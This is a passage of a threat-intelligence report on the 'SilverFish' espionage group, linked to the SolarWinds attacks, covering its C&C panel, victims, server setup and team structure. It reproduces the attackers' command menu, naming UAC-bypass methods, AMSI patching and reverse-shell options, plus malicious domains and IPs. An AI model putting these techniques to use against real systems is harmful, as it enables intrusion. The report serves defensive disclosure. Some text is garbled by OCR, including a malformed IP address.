[comment]:<> (===START_PAGE 1===) {0}------------------------------------------------ ![A large, detailed image of a silverfish insect, shown in a negative (inverted) color scheme, set against a dark background with faint, wispy, light-colored patterns resembling蛛网 or fibers.The silverfish is positioned centrally, facing slightly to the right.](30a26f2d17ca95672702bf50fb4f0242_img.jpg) A large, detailed image of a silverfish insect, shown in a negative (inverted) color scheme, set against a dark background with faint, wispy, light-colored patterns resembling蛛网 or fibers.The silverfish is positioned centrally, facing slightly to the right. # SilverFish Group Threat Actor Report {1}------------------------------------------------ # Contents | | | |---------------------------------------------|-----------| | References | 2 | | 1 Introduction | 3 | | 1.1 Investigation Timeline | 5 | | 2 Executive Summary | 6 | | 2.1 Overview | 6 | | 2.2 The PTI Team's Investigation | 7 | | 2.3 Characteristics of the SilverFish Group | 7 | | 3 Technical Analysis | 9 | | 3.1 C&C Analysis | 11 | | 3.1.1 Server Analysis | 15 | | 3.1.2 Team Hierarchy | 17 | | 3.2 TDS Analysis | 19 | | 3.3 Post Exploitation Analysis | 20 | | 3.3.1 Koadic Agents | 22 | | 3.3.2 Sarasota Script | 24 | | 3.3.3 Cobalt Strike & Empire Beacons | 25 | | 3.4 VictimTotal Sandbox | 27 | | 3.4.1 NetSupport Remote Control | 29 | | 3.5 Topology | 31 | | 4 Statistics & Observations | 32 | | 4.1 Infection Rates | 33 | | 4.2 Affected Countries and Sectors | 34 | | 4.3 Operator Activities | 38 | | 5 Conclusion | 39 | | 5.1 Attribution | 40 | | 6 IOCS | 41 | | 6.1 Samples | 41 | | 6.2 Traffic Distribution Servers | 42 | | 6.3 C&C Servers | 43 | | 6.4 Threat Actor IP Addresses | 43 | | 6.5 VictimTotal Servers | 43 | | 6.6 C&C Proxies | 43 | | 6.7 Post-Exploitation Servers | 44 | | 6.8 Domain Fronting Servers | 44 | | 6.9 Javascript Injection Points | 45 | | 6.10 External Post-Exploitation Scripts | 45 | | 6.11 TTP List - MITRE ATT&CK Codes | 46 | {2}------------------------------------------------ | | | |---------------------|-------------------------| | Reference Number | CH-2021031001 | | Prepared By | PTI Team | | Investigation Date | 20.12.2020 – 07.03.2021 | | Initial Report Date | 15.03.2021 | | Last Update | 18.03.2021 | # 1 Introduction The PRODAFT Threat Intelligence (PTI) team discovered a highly-sophisticated group of cyber criminals targeting exclusively large corporations and public institutions worldwide, with focus on EU and the US.Despite the fact that we refrain from making any attribution, we strongly believe that this case will become an important benchmark in terms of understanding the capabilities of advanced persistent threat (APT) actors, their RoE, operation, and TTPs.The report will shed light on one of the world’s most notorious cybercriminal organizations in history [16], [11]. In this report, we were able to analyze various servers and samples allowing us to link the SilverFish group with the infamous SolarWinds attacks, which became public around December 2020 [3].Moreover, the PTI Team has uncovered that the same servers were also used by EvilCorp (aka TA505) [17] which modified the TrickBot infrastructure for the purpose of a large scale cyber espionage campaign.EvilCorp is known to be responsible for the development and distribution of the Dridex [23] and WastedLocker [6] malware. Although there were numerous articles and technical reports published about the SolarWinds attacks and the EvilCorp group [18], [9], [21], [16], [1], it must be noted that this report is the first report which focuses on findings “behind enemy lines”.Therefore, in this report we present findings from the groups’ infrastructure that we believe will help other researchers understand the technical complexity of the SilverFish group’s attacks and detect similar patterns in the future.This report contains the findings from the C&C server, command statistics, infection dates, targeted sectors and countries, tools used during the attacks, executed commands, and other information regarding the groups TTP. The report is structured as follows:In the following subsection(1.1), we present the timeline of our investigation.In Section 2, we provide an executive summary of our research.In Section 3, a comprehensive technical analysis of the attacks is performed to identify motivation, capability, and background of the group.In Section 4, we offer several statistics regarding the attack campaign.In Section 5, we conclude with some guidance for future research.IOC’s and references are also be provided at the end of the report.(See Section 6) Please note that this report has two versions.The *“Private Release”* is provided to law enforcement agencies, applicable CERTS/CSIRTS, and members of our U.S.T.A.Threat Intel Platform (with appropriate annotations and reductions).Likewise, the *“Public Release”* is publicly disseminated for the purpose of advancing global fight against high-end threat actors and APTs such as SilverFish. {3}------------------------------------------------ ## **What's new ?** The PRODAFT Threat Intelligence (PTI) Team has uncovered a global cyber-espionage campaign, which has strong ties with the SolarWinds attack, the EvilCorp, and the Trickbot group.The PTI Team has managed to investigate the group's command and control server and notified the targets of the attacks. ## **Why does it matter ?** Findings of this report explains various neverbeforeseen TTPs of threat actors operations - illustrated by examples directly acquired by the PTI team. To date; most of the data available on these high-profile cases were based on indicators acquired from the targeted victims.Now it will be possible to approach the matter from the adversary's point of view. ## **What should be done ?** This report features many IOCs (Indicators of Compromise) that can be used by cyber security vendors/incident response teams to scan their network and detect any infected machines available.Especially owners of critical infrastructures are advised to perform these actions.Additionally; we believe the "Modus Operandi" section of this report will help Law Enforcement Agencies to adapt their strategies for similar APT threats in the future. {4}------------------------------------------------ ## 1.1 Investigation Timeline - DECEMBER '20:** Following the disclosure of the SolarWinds attack in December 2020, one of our clients from the financial sector has submitted an analysis request from our U.S.T.A.Threat Intel platform and requested a detailed investigation of the breach.Under the scope of this investigation; we have started with the public IOC's published by FireEye [8].Based on one of the domains, it was possible for the PTI Team to create a unique fingerprint of one of the online servers by using multiple metrics. During the next phase, the PTI Team searched all IPv4 range globally to find a matching fingerprint, resulting in positive detections within 12 hours of the scan.Combining and interpreting these findings into a corporate case report in the same month, we have provided our client with a detailed case report and notified all of our members about the fact that our investigation will continue on a much larger scale.The details are explained in Section 3. - JANUARY '21:** At a later stage, the PTI Team enriched its fingerprint/identifier data and started performing retrospective queries on previous global IPv4 scans archived from past cases.This is a standard practice for the PTI Team as we monitor several high-profile APT groups and produce internal reports on a daily basis under the purview of U.S.T.A.TI operations. **Analyst Note:** According to our internal logs, the servers which were used for C&C over the attacks were detected by our PTI Team around November 2020 but these were marked as being of medium importance as there were no matching fingerprints at that time.Yet, these findings have started to be re-evaluated throughout January 2021, with constant improvements being made on our identifiers. - FEBRUARY '21:** Based on our findings from the previous months (Nov '20 to Feb '21), the PTI Team performed a final scan that led to several other fundamental findings, details of which can be found in the Section 3.The PTI Team had to overcome different technical challenges to analyze and successfully de-anonymize C&C servers of this operation.Throughout February 2021, the PTI Team has worked on different C&C servers to fully understand/identify the attackers' motives.Following each discovery, individual IOC notifications were created and sent to members of the U.S.T.A.platform to enable a swift remediation.- MARCH 1ST - 7TH, '21:** Since the beginning of March '21; the PTI Team has started notifying victims through law enforcement agencies, strategic partners, and CERTS/CSIRTS in the regions which are affected by the SilverFish Group.Detailed IOC's and brief reports have been published to all applicable parties during this term as a public responsibility.In each of these notifications, the PTI Team has been extremely cautious about preserving each organization's privacy and confidentiality. **Side Note:** Throughout our research on SilverFish, different partnerships have been established with globally recognized threat intelligence vendors and private IR teams by notifying them about certain threats that may be posing a risk to their clients. {5}------------------------------------------------ - **MARCH 15TH, '21**:The final report was approved by our advisory board and an initial private version was shared with Polcant (*Vaud Cantonal Police Cybercrime Division - Switzerland*) to engage the relevant law enforcement authorities.- **MARCH 17TH, '21**:On March 17th 2021, the PTI Team published the “*Public Release*” version of the report to further enlighten several organizations who continue to be targeted by SilverFish.As of the issue date of this report; SilverFish actors are still using relevant machines for lateral movement stages of their campaigns.Unfortunately, despite being large critical infrastructures, most of their targets are unaware of the SilverFish group's presence in their networks. # 2 Executive Summary ## 2.1 Overview The Executive Summary section of this report is provided to draw a non-technical executive outline of the SilverFish group, which was found to have carried out an extremely sophisticated cyber-attack on at least **4720 targets**, including but not limited to governmental institutions, global IT providers, the aviation industry, and defense companies.Detected to have multiple relations with the notorious SolarWinds incident of the past quarter and the globally recognized EvilCorp group, we believe this case to be an important cornerstone in terms of understanding capabilities of organized threat actors.Please note that, all the matters mentioned herein will be explained in further technical detail in the later sections of this report. This report includes various **discoveries** related to an extremely well-organized cyber-espionage group which are thought to have strong ties with notorious Solarwinds, EvilCorp and TrickBot attacks that compromised several states and critical infrastructures.We believe; our findings will reveal several previously-unknown tools, techniques and procedures related to one of the most high-profile APT groups in history. ![World map showing victim distribution by country.A color scale at the top indicates the number of victims, ranging from 0 (blue) to 2500 (red).The map shows high concentrations of victims in North America (USA and Canada) and Europe (UK, France, Germany, Italy, Spain, and other countries).Australia is also shown in a light green color, indicating a smaller number of victims.Most of the world, including South America, Africa, and Asia, is shown in grey, indicating no victims were identified in those regions.](ed2fa033a401564314cdc32fe9732935_img.jpg) World map showing victim distribution by country.A color scale at the top indicates the number of victims, ranging from 0 (blue) to 2500 (red).The map shows high concentrations of victims in North America (USA and Canada) and Europe (UK, France, Germany, Italy, Spain, and other countries).Australia is also shown in a light green color, indicating a smaller number of victims.Most of the world, including South America, Africa, and Asia, is shown in grey, indicating no victims were identified in those regions. Figure 1.Victim distribution by country {6}------------------------------------------------ ## 2.2 The PTI Team's Investigation Following the infamous SolarWinds attack that peaked on December 2020, the PTI Team has started working on multiple initial leads from public resources related to the disclosed attack [8], [19]. The SilverFish group breached various critical organizations.We were able to verify all victims which publicly admitted/rumored being targeted by SolarWinds attacks within the C&C panel.Some of the notable victims are as follows: - A three letter US Agency - A globally recognized US military contractor - At least 5 globally leading IT manufacturers and solution providers - Multiple top-tier automotive manufacturing groups from Europe - Multiple aviation and aerospace manufacturing/RD companies - Dozens of banking institutions from the US and the EU with millions of client portfolios - Public Health Departments from Multiple Regions - More than three Police Networks - Several Airport Systems in Europe - Dozens of US public institutions, including 3 which have already admitted being hacked - 3 of the world's largest auditing/consulting groups - At least 4 Globally recognized IT security vendors - A globally recognized pharmaceutical companies - A global organization comprised of 193 countries - One of the world's leading COVID-19 testing kit manufacturers After detecting an online domain (databasegalore.com) from previously published IOCs, it was possible for the PTI Team to further analyze the incident and find yet-to-be-discovered C&C servers by means of large-scale network scans. This enabled the PTI Team to access the management infrastructure (i.e., the C&C server) of the SilverFish group and to acquire further information about the group's modus operandi including but not limited to IPs and usernames of the victims, commands executed on the victims' machines, activity time of the SilverFish group, comments written for each victim, and prioritization of operations. ## 2.3 Characteristics of the SilverFish Group **Formed by Multiple Teams:** When taking its first look inside the C&C server, the PTI Team observed that main dashboard of the SilverFish C&C panel features a section named "Active Teams", involving several comments entered by different user groups such as Team 301, Team 302, etc.Such a design indicates that this infrastructure is meant for multiple teams.Most comments entered by attackers for each victim are mostly in English and Russian and include urban slang. {7}------------------------------------------------ **Advanced Post Exploitation Skillset:** Executed commands and specially crafted scripts used by the SilverFish group strongly indicates sophistication and an advanced post-exploitation skillset.There are multiple attempts for pivoting to internal systems on critical infrastructure after the initial domain enumeration of victims. **Exclusively Targeting Critical Infrastructures in the US and EU:** Following a detailed inspection on the C&C panel, PTI Team has seen that the SilverFish group has exclusively targeted critical infrastructures.Nearly all critical infrastructures (as defined in the NIST Cyber Security Framework [14]) have been successfully compromised.Approximately half of the victims were witnessed to be corporations which have a market value of more than 100 million USD, as per their public financial statements. While the United States is by far the most frequently targeted region, with 2465 attacks recorded, it is followed by European states with 1645 victims originating from no less than 6 different member states. **Focus on Recon and Covert Data Exfiltration:** Upon analyzing the custom scripts and tools created by the SilverFish group, the PTI Team came to the conclusion that the main goal of this APT group is most likely to perform reconnaissance and exfiltrate data from target machines in a covert manner. **Using Enterprise Victims as a Real-Life Sandbox:** The PTI Team has observed that the SilverFish group has designed an unprecedented malware detection sandbox formed by actual enterprise victims, which enables the adversaries to test their malicious payloads on actual live victim servers with different enterprise AV and EDR solutions, further expanding the high success rate of the SilverFish group attacks. Working much like VirusTotal but with actual live victim servers, this platform (which we dub "VictimTotal" 3.4) of the SilverFish campaign was observed to be including two different malicious files that had been previously scanned, under the names, "buildus9\_3.ps1" and "build\_eu.ps1" indicating a separate preparation for different regions. **Highly Organized Working Patterns:** Another interesting finding was the level of hierarchy in the C&C server, enabling management of different targets, assignment of these targets to different groups and triaging incoming victims to appropriate SilverFish group members.Further information about this detailed structure can be found in Section 3.1.2, titled Team Hierarchy. **Working in Strict Shifts:** As discussed in 4.3, the PTI Team has also gathered data about the working habits of the SilverFish group.Upon careful inspection it was discovered that the group has worked according to a specific timeline:namely, between the hours of 8:00 AM and 8:00 PM (UTC).Additionally, the group was observed to be far more active on weekdays, Monday through Friday. **Other Possible Campaigns Against Different Regions:** As explained throughout the report, our discoveries involving SilverFish were exclusively related to the US and EU.That said, there may be other ongoing operations targeting other parts of the world.We base this assumption on the fact that the SilverFish group is observed to be extremely organized and capable of enacting the exact same structure for other regions of interest. {8}------------------------------------------------ # 3 Technical Analysis This section contains the TTP analysis of the SilverFish threat group including the C&C infrastructure, traffic distribution system, post exploitation steps, and malware detection sandbox (we named it as *VictimTotal Sandbox*, see Section 3.4). | Domain | IP Address | AS Name | |--------------------|--------------|---------------| | databasegalore.com | 5.252.177.21 | MivoCloud SRL | At the beginning of our investigation into the SolarWinds hack, the PTI Team started analyzing the IOC data released by FireEye[8].Among the published domain names, **databasegalore.com** was the only one accessible during the investigation.The host server also contained an active PowerMTA service on port 2304.After performing web directory fuzzing, an another file (**example.php**) has been identified by the PTI Team. ![Figure 2:Fingerprint of an existing IOC matching another server instance.The figure shows two side-by-side screenshots of a website with a circular arrow diagram overlay.The diagram has two nodes:Node 1 at IP 81.4.122.203 and Node 2 at IP 5.252.177.21.Below each screenshot is a 'Let's Get In Touch!' section with contact information.](0f3e3ea50bcceb86f6c524ab2b6f3e7a_img.jpg) The figure displays two side-by-side screenshots of a website.A circular arrow diagram is overlaid, connecting the two screenshots.Node 1, located at the top right, is associated with IP address 81.4.122.203.Node 2, located at the bottom left, is associated with IP address 5.252.177.21.Below each screenshot is a 'Let's Get In Touch!' section.The left section includes a phone icon with '+1 401-330-7066' and an email icon with 'contact@5.252.177.21'.The right section includes a phone icon with '+1 401-330-7066' and an email icon with 'contact@81.4.122.203'. Figure 2:Fingerprint of an existing IOC matching another server instance.The figure shows two side-by-side screenshots of a website with a circular arrow diagram overlay.The diagram has two nodes:Node 1 at IP 81.4.122.203 and Node 2 at IP 5.252.177.21.Below each screenshot is a 'Let's Get In Touch!' section with contact information. Figure 2.Fingerprint of an existing IOC matching another server instance **Analyst Note:** PowerMTA is an enterprise-grade email message transfer agent (MTA) for sending high-volume, business-critical emails. {9}------------------------------------------------ At this point, the PTI Team had enough details to create a fingerprint profile for the subject host and started scanning the entire global IPv4 range using PRODAFT's rapid scanning and fingerprinting technology for hosts with similar characteristics.After 12 hours, the PTI Team identified more than 200 hosts with the similarities mentioned above.After filtering the false positive results, the PTI Team found a host with IP **81.4.122.203** which was an exact match (See Figure 2).It had the same HTML, the same example.php content, and it also had the PowerMTA service on port 2304. After detecting the similar host, the PTI Team started investigating the underlying subnet range.During the scanning phase, the IP address **81.4.122.101** was found to be containing a certain login page resembling a known malware C&C server. ![A screenshot of a login page with a text input field labeled 'Password:' and a 'Log in' button.](e9b30aeb317ed964fa6de36804acf24c_img.jpg) A screenshot of a login page with a text input field labeled 'Password:' and a 'Log in' button. Figure 3.Detected login page on 81.4.122.101 Considering the similarities between the initial IOC data and identified host, the PTI Team decided to proactively investigate the servers in this subnet range for further analysis.After gaining access to the C&C server on the subject host, we were not expecting to land on the most critical piece of SilverFish infrastructure.One of the first thing we tried is to verify if the victims have some kind of relation with the SolarWinds software.Upon closer inspection of the C&C data, we were able to observe many victims using SolarWinds products(see in Figure 4).This was an important milestone as we started our investigation from the IOCs of the SolarWinds attack, traced that link to the C&C, and observed similar artifacts on the server as well.A detailed analysis of the C&C is explained in the next section.(Section 3.1). ![A screenshot of a command prompt window showing user details for 'swadmin' with 'SolarWindsAdmin' as the full name, indicating a compromised machine.](f0d1b18586b17005ffd3fce23280b5a5_img.jpg) ``` The request will be processed at a domain controller for domain User name swadmin Full Name SolarWindsAdmin Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 12/9/2013 6:53:30 PM Password expires Never Password changeable 12/10/2013 6:53:30 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 9/18/2020 11:21:09 AM Logon hours allowed All Local Group Memberships Global Group memberships The command completed successfully. ``` A screenshot of a command prompt window showing user details for 'swadmin' with 'SolarWindsAdmin' as the full name, indicating a compromised machine. Figure 4.SolarWindsAdmin/An example of a compromised machine {10}------------------------------------------------ ## 3.1 C&C Analysis The C&C panel of the SilverFish attackers is designed in a very minimalist way.The main dashboard only contains the infected victims, generic comment section for each victim and several options for filtering the victims. ![Screenshot of the C&C panel dashboard showing a table of victim data with columns for ID, Domain, Instance, User ID, IP, Status, Comment, and Details.Filter controls are visible at the top.](86089bb74e9c313a8c62cd0cb41c3e66_img.jpg) The screenshot shows the C&C panel dashboard.At the top, there are filter controls:'Display:All', 'System status:on', 'Active team:303', 'Rotation status:off', and 'Display (team):all'.Below these controls is a table with the following data: | ID | Domain\User@Computer | Instance | User Id | IP | Status | Comment | Details | |------|----------------------|----------|---------|------------|---------|-----------------|-----------| | 4794 | [redacted] | 60le14 | 303 | [redacted] | ONLINE | | save show | | 4793 | [redacted] | c7664c | 303 | [redacted] | ONLINE | | save show | | 4792 | [redacted] | 8848c | 303 | [redacted] | ONLINE | 21 dc + domeni | save show | | 4791 | [redacted] | 268d54 | 303 | [redacted] | ONLINE | 4 dc:2 domains | save show | | 4790 | [redacted] | 151429 | 303 | [redacted] | ONLINE | 6 dc:2 domain | save show | | 4789 | [redacted] | 106e22 | 303 | [redacted] | offline | vpn | save show | | 4788 | [redacted] | 486835 | 303 | [redacted] | offline | edu | save show | | 4787 | [redacted] | 74c8d7 | 303 | [redacted] | ONLINE | AV ebet | save show | | 4786 | [redacted] | e2199f | 303 | [redacted] | ONLINE | 1dc | save show | | 4785 | [redacted] | f1033a | 303 | [redacted] | ONLINE | 4dc | save show | | 4784 | [redacted] | b7911f | 303 | [redacted] | ONLINE | | save show | | 4783 | [redacted] | 8a9e2d | 303 | [redacted] | offline | | save show | | 4782 | [redacted] | d54726 | 303 | [redacted] | offline | | save show | | 4781 | [redacted] | 31012b | 303 | [redacted] | offline | | save show | | 4780 | [redacted] | 72e6d4 | 303 | [redacted] | ONLINE | | save show | Screenshot of the C&C panel dashboard showing a table of victim data with columns for ID, Domain, Instance, User ID, IP, Status, Comment, and Details.Filter controls are visible at the top. Figure 5.Command and control panel dashboard During the C&C server analysis, the PTI Team noticed that one of the filter options was called "Active team".This could indicate that the SilverFish is working systematically with multiple teams.Additionally the victim comments include many English and Russian slang words. ![Screenshot of the C&C panel dashboard with a red box highlighting the 'Active team' dropdown menu and the corresponding '303' filter in the table.](72d357d406618f3f884c3876fc3058ee_img.jpg) The screenshot shows the C&C panel dashboard with a red box highlighting the 'Active team' dropdown menu and the corresponding '303' filter in the table.The dropdown menu shows options:'all', '301', '302', '303', and '304 temp'.The table data is the same as in Figure 5, but the '303' filter is highlighted in red. Screenshot of the C&C panel dashboard with a red box highlighting the 'Active team' dropdown menu and the corresponding '303' filter in the table. Figure 6.Team based filter option on C&C {11}------------------------------------------------ {12}------------------------------------------------ ``` Spawn new shell session (port 143) Spawn new shell session (port 443) (+amsi.dll patch WIN10 ONLY) Spawn new shell session (port 443) (+amsiInitFailed=true WIN10 ONLY) TEST Spawn new bot instance Spawn new bot instance elevated (slui, build>=9600, WIN8.1, WIN10) powershell required + console shown.Blocked by WD Spawn new bot instance elevated (eventvwr, WIN7, WIN8.1) Spawn new bot instance elevated (sdclt, build>=14393, WIN10) WD alert, instance dies, still works Execute beacon Execute exe file with cmd Upload file TEMP Upload file ProgramData Download file from bot (specify file path) traffic not encrypted! Execute command with cmd Execute command with cmd (RUNAS) Execute command elevated (fodhelper, build>=10240), full path, no output returned Execute command elevated (computerdefaults, build>=10240), full path, no output returned Execute command elevated (slui, build>=9600), full path, no output returned, powershell required + console shown.if failed, needs manual reg cleanup Execute command elevated (sdclt, build>=14393), full path, no output returned, WD alert, executes, instance dies Execute command elevated (eventvwr, build>=7600 && build <15031), full path, no output returned Execute command elevated (compmgmtlauncher, build>=7600 && build <15031), full path, no output returned Detection trigger (ps1) (test) Detection clean (ps1) (test) Syntax error (ps1) (test) Kill bot ``` Image:Screenshot of the PRODAFT command and control panel interface.The top section shows a list of bot status and configuration details.The bottom section is a table of available commands. Bot status:Spawn new shell session (port 443) Comment:Spawn new shell session (port 80) ID:14397 Spawn new shell session (port 29) Spawn new shell session (port 110) Spawn new shell session (port 143) Instance:Spawn new shell session (port 443) (+amsi.dll patch WIN10 ONLY) IP:Spawn new bot instance Country:Spawn new bot instance elevated (slui, build>=9600, WIN8.1, WIN10) powershell required + console shown.Blocked by WD Domain/User:Spawn new bot instance elevated (eventvwr, WIN7, WIN8.1) OS:Spawn new bot instance elevated (sdclt, build>=14393, WIN10) WD alert, instance dies, still works Build:Execute exe file with cmd Architecture:Upload file TEMP Admin:Upload file ProgramData Is Admin:Download file from bot (specify file path) traffic not encrypted! Integrity Level:Execute command with cmd UAC Setting:Execute command with cmd (RUNAS) Consent Prompt:Execute command elevated (fodhelper, build>=10240), full path, no output returned Prompt/WinSec:Execute command elevated (computerdefaults, build>=10240), full path, no output returned First visit:Execute command elevated (slui, build>=9600), full path, no output returned, powershell required + console shown.if failed, needs manual reg cleanup Last visit:Execute command elevated (sdclt, build>=14393), full path, no output returned, WD alert, executes, instance dies Add new task:Spawn new shell session (port 110) | ID | Type | Created | Executed | Output | Content | |-------|-------------|---------------------|---------------------|------------------|--------------------------| | 14397 | execute_cmd | 23:01:52 06.03.2021 | 23:02:00 06.03.2021 | see (36 bytes) | ("cmd" "rilest uidlist") | | 14398 | execute_cmd | 23:01:59 06.03.2021 | 23:02:16 06.03.2021 | see (737 bytes) | ("cmd" "rilest uidlist") | | 14399 | execute_cmd | 23:02:04 06.03.2021 | 23:02:33 06.03.2021 | see (1628 bytes) | ("cmd" "cmockey vlist") | | 14805 | execute_cmd | 09:45:19 11.03.2021 | 09:45:29 11.03.2021 | see (737 bytes) | ("cmd" "rilest uidlist") | | 14806 | execute_cmd | 09:46:22 11.03.2021 | 09:46:32 11.03.2021 | see (36 bytes) | ("cmd" "rilest uidlist") | Figure 8.Command and control panel - Available commands {13}------------------------------------------------ The available commands allow the threat actors to spawn shells on ports; 443, 80, 25, 110, 143 with the ability to bypass AMSI protection via DLL patching. **Analyst Note:** The Windows Antimalware Scan Interface (AMSI) allows applications and services to integrate with any antimalware product that's present on a machine.AMSI provides enhanced malware protection for end-users and their data, applications, and workloads [12]. Threat actors are also able to run elevated commands with different ways and upload arbitrary files to the infected victims.The results of the executed commands are shown on a separate tab as follows: ![Screenshot of the C&C - Victim task response page.The page displays a list of domain trusts with indices 0 through 8.The content of the list is redacted.Below the list, a message states 'The command completed successfully'.](472b4b1952940f919fbd8584e83daa36_img.jpg) Screenshot of the C&C - Victim task response page.The page displays a list of domain trusts with indices 0 through 8.The content of the list is redacted.Below the list, a message states 'The command completed successfully'. Figure 9.C&C - Victim task response page To upload a file to victim devices, threat actors are using the "file list" page of the C&C server shown in the following image.The page contains a basic file upload form that stores the uploaded files with an ID.Once threat actors issue an "Upload file" command with an ID value, the selected file is uploaded to victim devices under the path **%TEMP%** or **ProgramData** depending on the selected upload command type. Image:Screenshot of the C&C - File listing page.The page shows a file upload form and a table of uploaded files.The form includes fields for 'Upload new file:', 'File hint:', 'File name on disk:', and 'Upload'.The table lists files with columns for ID, Hint, Filename, Size, and Uploaded date. | ID | Hint | Filename | Size | Uploaded | |-----|----------------------|----------------------|--------------|---------------------| | 108 | ieshim.dll | IEShim.dll | 24064 bytes | 11:11:12 26.01.2021 | | 109 | hornsbuild | zeritagent.exe | 4608 bytes | 11:11:36 26.01.2021 | | 110 | test build01.csproj | build01.csproj | 349176 bytes | 15:24:21 26.01.2021 | | 111 | 301 nim | watson.exe | 777313 bytes | 19:02:59 26.01.2021 | | 113 | mycalls_test_hunting | myfavouritegame.exe | 850640 bytes | 14:02:00 05.02.2021 | | 119 | csproj_test | project no extension | 281807 bytes | 14:20:13 05.02.2021 | | 147 | ksellcode | craftmanager2.exe | 757760 bytes | 16:59:44 22.02.2021 | | 165 | ksellcode | craftmanager3.exe | 767488 bytes | 13:46:09 01.03.2021 | Figure 10.C&C - File listing page {14}------------------------------------------------ ### 3.1.1 Server Analysis In this section, we present our important findings obtained from the C&C server.One of the most expected observation is that the SilverFish group used many common techniques to harden the server.Firstly, the group installed and configured AppArmor which is a common practice to allow running applications in an isolated environment.Secondly, all collectable logs inside the operating system (web access logs, ssh auth log, console history etc.) were disabled.Lastly, network firewall is configured to communicate only with pre-defined IP Addresses (Figure 11). ``` # Generated by iptables-save v1.4.21 on Wed Mar 3 22:06:43 2021 *filter:INPUT ACCEPT [28703:4204216]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [39167:11838571] -A INPUT -s 178.249.69.35/32 -j ACCEPT -A INPUT -s 23.106.61.74/32 -j ACCEPT -A INPUT -m set --match-set datacenters src -j DROP COMMIT # Completed on Wed Mar 3 22:06:43 2021 ``` Figure 11.Firewall configuration of the server One of the most notable findings from the server-side is the web proxy configuration.We discovered several crucial domains belonging to a range of nodes including TDS and C&C proxies.An example of configuration is provided in Figure 12 and all of the domains can be found in Section 6. ``` server { listen 80 default_server; listen 443 ssl default_server; server_name www.secureconnectiongroup.com; client_body_buffer_size 128k; keepalive_timeout 70; ssl_certificate/etc/nginx/ssl/www.secureconnectiongroup.com.crt; ssl_certificate_key/etc/nginx/ssl/www.secureconnectiongroup.com.key; ssl_dhparam /etc/nginx/ssl/dh2048.pem; server_name_in_redirect on; ssl_session_timeout 10m; ssl_session_cache shared:SSL:10m; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; ssl_prefer_server_ciphers on; } ``` Figure 12.Proxy configuration of the server Next, The PTI Team tried to access the previously assigned IP address directly with a GET request and immediately observed a redirection to **securesearchnow.com** domain.This finding was important because it linked **20999.40.223** IP with both **secureconnectiongroup.com** and **securesearchnow.com** domains.Moreover, the PTI Team observed that several IPs in that range also points requests to the **securesearchnow.com** domain.The similarity between domain names is another aspect of the correlation which should not be disregarded. {15}------------------------------------------------ ![Figure 13:Comparison of JavaScript code from securesearchnow.]com and 208.91.198.23.The image shows three panels of code.Panel 01 (left) shows a function 'init' in sk-jspark_init.php.Panel 02 (top right) shows a CSS loader script.Panel 03 (bottom right) shows another function 'init' in sk-jspark_init.php.Red boxes and arrows highlight the identical URL 'http://freeresultsguide.com/sk-jspark.php?jsprkder=1&dn=encodedR2ComponentUwIdwv.1' used in both the left and bottom-right panels.](83926108dd52e3998fda7a99a91cdf3b_img.jpg) Figure 13:Comparison of JavaScript code from securesearchnow.]com and 208.91.198.23.The image shows three panels of code.Panel 01 (left) shows a function 'init' in sk-jspark\_init.php.Panel 02 (top right) shows a CSS loader script.Panel 03 (bottom right) shows another function 'init' in sk-jspark\_init.php.Red boxes and arrows highlight the identical URL 'http://freeresultsguide.com/sk-jspark.php?jsprkder=1&dn=encodedR2ComponentUwIdwv.1' used in both the left and bottom-right panels. Figure 13.Same script is called from both securesearchnow.]com and 208.91.198.23 Figure 13 illustrates the similarities between securesearchnow.]com and 208.91.198.23 IP address.Both of the web servers redirect the visitors to a PHP script hosted at freeresultsguide.]com.Ideally, we would like to analyze the source code of sk-jspark\_init.php.However, the PTI Team could not find the code of the script during the writing of this report.We believe it might give some other clue about the SilverFish group.In any case, we will include it in our repository once it's been analyzed by us or by any other research group.On March 4, 2021 Microsoft published another set of IOCs in their blog [20] related with SolarWinds attackers.It is worth noting that reyweb.]com domain in their list also resolves to 208.91.198.23 which can be traced back to SilverFish group's C&C server. {16}------------------------------------------------ ### 3.1.2 Team Hierarchy ![Team structure of SilverFish diagram showing an Administrator at the top, branching into four teams:Team 301, Team 302, Team 303, and Team 304.Each team is represented by a group of four stylized human figures.](8307f6b04df072c9332f9987e034272c_img.jpg) ``` graph TD Admin[Administrator] --- T301[Team 301] Admin --- T302[Team 302] Admin --- T303[Team 303] Admin --- T304[Team 304] ``` Team structure of SilverFish diagram showing an Administrator at the top, branching into four teams:Team 301, Team 302, Team 303, and Team 304.Each team is represented by a group of four stylized human figures. Figure 14.Team structure of SilverFish While significant attention has been focused on reversing and identifying the tools of the SilverFish group, victim handling and team management methodology should also be discussed in detail.In general, command and control servers are managed with a single or multiple administrator accounts.It is not common to see multiple accounts with different permission levels to manage a C&C server.SilverFish uses a team based workflow model and a triage system similar to modern project management applications like *Jira* (see Figure 15).Whenever a new victim is infected, it is assigned to the current “Active Team” which is pre-selected by the administrator.Each team on the C&C server can only see the victims assigned to them.Furthermore, the system has the capability to auto-assign victims based on the current workload.During our investigation, we found four different teams (namely 301,302,303,304) who were actively exploiting the victims’ devices.These teams cycle frequently almost every day or every two days.In Section 4.3, we present “Attacker Activity Time Graph” to urge further exploration of the group’s working hours. | | | | | | | |------|--|--------|-----|---|------| | 4638 | | a3bf47 | 303 | ▼ | save | | 4637 | | 1759d8 | 303 | ▼ | save | | 4636 | | b65fd0 | 303 | ▼ | save | | 4635 | | 93b0cf | 303 | ▼ | save | | 4634 | | cac6be | 303 | ▼ | save | | 4633 | | 43617b | 303 | ▼ | save | | 4632 | | c9eda1 | 302 | ▼ | save | | 4631 | | d6bdd0 | 302 | ▼ | save | | 4630 | | b645e2 | 302 | ▼ | save | | 4629 | | 200463 | 302 | ▼ | save | | 4628 | | 5a21ad | 302 | ▼ | save | | 4627 | | 77a9c2 | 302 | ▼ | save | Figure 15.Team assignment for each victim Moreover, there are clues indicating that multiple users are managing the SilverFish TDS panel that is analyzed in the next 3.2 section of this report.Each user is able to write comments for each victim to prioritize the exploitation.Based on these comments, we were able to understand more about the motivation of the group and prioritization of the victims.It is also important to mention that most of the comments are written in Russian slang and vernacular.(“dno”, “pidori”, “poeben”, “poebotina”, “psihi”, “hernya”, “xyeta”, “gavno”) {17}------------------------------------------------ ``` //new hacker 'configs' => array( '566', ), ), //a another exe test 'configs' => array( '//518', ), ), //infoshell 'configs' => array( '520', ), ), //riki2509 new hacker 'configs' => array( '521', ), ), //walter 'configs' => array( '577', 